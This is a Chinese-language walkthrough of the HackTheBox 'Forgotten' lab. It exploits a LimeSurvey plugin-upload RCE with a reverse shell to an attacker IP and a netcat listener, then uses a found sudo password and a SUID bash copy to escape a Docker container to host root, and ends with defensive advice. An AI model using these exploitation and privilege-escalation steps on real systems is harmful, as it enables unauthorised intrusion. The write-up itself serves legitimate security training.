1. 靶机环境初探与信息收集
在渗透测试的初始阶段,全面收集目标系统信息是至关重要的第一步。本次实战的目标是HackTheBox平台上的Forgotten靶机,我们将从最基本的端口扫描开始,逐步深入挖掘系统漏洞。
1.1 基础端口扫描与分析
使用Nmap进行基础扫描是了解目标系统开放服务的标准做法。执行以下命令获取初步信息:
bash复制nmap 10.129.202.71
扫描结果显示目标开放了两个关键端口:
- 22/tcp:SSH服务,通常用于远程管理
- 80/tcp:HTTP服务,运行着Web应用
进一步使用-A参数进行详细扫描:
bash复制nmap -A -p 80 10.129.202.71
关键发现:
- Apache版本为2.4.56(Debian)
- 服务器返回的Host信息为172.17.0.2,这是一个典型的Docker容器内网地址
提示:172.17.0.0/16是Docker默认使用的私有IP段,这个发现暗示我们可能面对的是一个容器化环境。
1.2 Web目录枚举与关键发现
使用dirsearch工具对Web目录进行暴力枚举:
bash复制dirsearch -u "http://10.129.202.71"
扫描结果中,/survey目录的发现尤为关键(返回301重定向状态码)。访问该路径后,我们看到了LimeSurvey的安装界面,这是一个开源的问卷调查系统。
2. LimeSurvey安装与配置突破
2.1 安装流程分析与数据库配置
LimeSurvey的标准安装流程需要数据库支持。由于靶机数据库密码未知,我们采用了一种巧妙的解决方案:在攻击机上搭建远程MySQL服务供靶机连接。
配置步骤如下:
- 修改MySQL/MariaDB配置文件(通常位于/etc/mysql/my.cnf或/etc/mysql/mariadb.conf.d/50-server.cnf):
ini复制[mysqld]
bind-address = 0.0.0.0 # 允许远程连接
- 重启MySQL服务使配置生效:
bash复制systemctl restart mysql
- 创建专用数据库和用户(避免使用root账户):
sql复制CREATE DATABASE LimeSurvey;
CREATE USER 'limesurvey'@'%' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON LimeSurvey.* TO 'limesurvey'@'%';
FLUSH PRIVILEGES;
注意:在生产环境中,这种配置存在严重安全风险。我们仅在测试环境中临时使用。
2.2 完成安装与版本确认
按照LimeSurvey的安装向导完成设置后,在管理员界面确认系统版本为"LimeSurvey Community Edition Version 6.3.7+231127"。这个版本信息对后续漏洞利用至关重要。
3. 漏洞研究与远程代码执行
3.1 CVE-2021-44967漏洞分析
通过公开漏洞数据库搜索,我们发现LimeSurvey 6.3.7存在一个已公开的认证后RCE漏洞(CVE-2021-44967)。该漏洞允许经过认证的用户通过插件上传机制执行任意PHP代码。
漏洞利用要点:
- 需要有效的管理员凭据(我们已通过安装过程设置)
- 利用插件上传功能绕过安全限制
- 通过精心构造的插件包实现代码执行
3.2 漏洞利用实战步骤
- 从GitHub获取漏洞利用代码(Y1LD1R1M-1337/Limesurvey-RCE)
- 修改php-rev.php中的反弹shell配置:
php复制$ip = '10.10.16.4'; // 攻击机IP
$port = 4444; // 监听端口
- 修改config.xml中的版本号以匹配目标:
xml复制<version>6.0</version> <!-- 绕过版本检查 -->
- 打包恶意插件:
bash复制zip -r extension.zip php-rev.php config.xml
- 在LimeSurvey后台上传并激活插件
- 在攻击机启动Netcat监听:
bash复制nc -lnvp 4444
- 访问插件PHP文件触发反弹shell:
code复制http://10.129.202.71/survey/upload/plugins/Y1LD1R1M/php-rev.php
4. 容器内权限提升与信息收集
4.1 环境确认与凭证发现
成功获取shell后,我们首先确认当前环境:
bash复制id
env
关键发现:
- 当前用户属于sudo组
- 环境变量中包含数据库凭据:LIMESURVEY_PASS=5W5HN4K4GCXf9E
- 主机名(efaa6f5097ed)符合Docker容器命名惯例
4.2 获取交互式Shell
由于初始获得的shell功能有限,我们使用以下命令升级到完全交互式shell:
bash复制/usr/bin/script -qc /bin/bash /dev/null
或者直接利用sudo执行命令:
bash复制echo 5W5HN4K4GCXf9E | sudo -S whoami
技巧:当Python不可用时,/usr/bin/script是获取功能完整TTY的可靠替代方案。
5. 突破容器限制实现宿主机提权
5.1 宿主机挂载点发现
通过创建测试文件并搜索,我们发现容器内的/var/www/html/survey目录实际挂载到宿主机的/opt/limesurvey:
bash复制# 容器内
touch /var/www/html/survey/justone
# 宿主机(通过SSH)
find / -name "justone" 2>/dev/null
5.2 利用SUID位实现权限提升
- 在容器内创建SUID shell:
bash复制echo 5W5HN4K4GCXf9E | sudo -S cp /bin/bash /var/www/html/survey/
echo 5W5HN4K4GCXf9E | sudo -S chmod +x /var/www/html/survey/bash
echo 5W5HN4K4GCXf9E | sudo -S chmod u+s /var/www/html/survey/bash
- 通过SSH连接到宿主机后执行:
bash复制cd /opt/limesurvey/
./bash -p # -p参数保留特权
成功获取root权限后,即可读取系统上的所有文件,包括位于/root目录下的flag。
6. 安全防护建议与防御措施
基于本次渗透测试的发现,我总结出以下安全建议:
-
容器安全:
- 避免在容器内使用sudo权限
- 严格控制挂载目录的读写权限
- 定期更新容器基础镜像
-
Web应用防护:
- 及时更新CMS和插件版本
- 实施最小权限原则,限制插件上传功能
- 对用户上传内容进行严格过滤
-
系统配置:
- 避免在环境变量中存储敏感信息
- 定期审计SUID/SGID文件
- 实施适当的网络分段策略
在实际渗透测试过程中,我们发现许多安全问题都源于配置不当和版本滞后。保持系统更新和遵循安全最佳实践是防御此类攻击的最有效方法。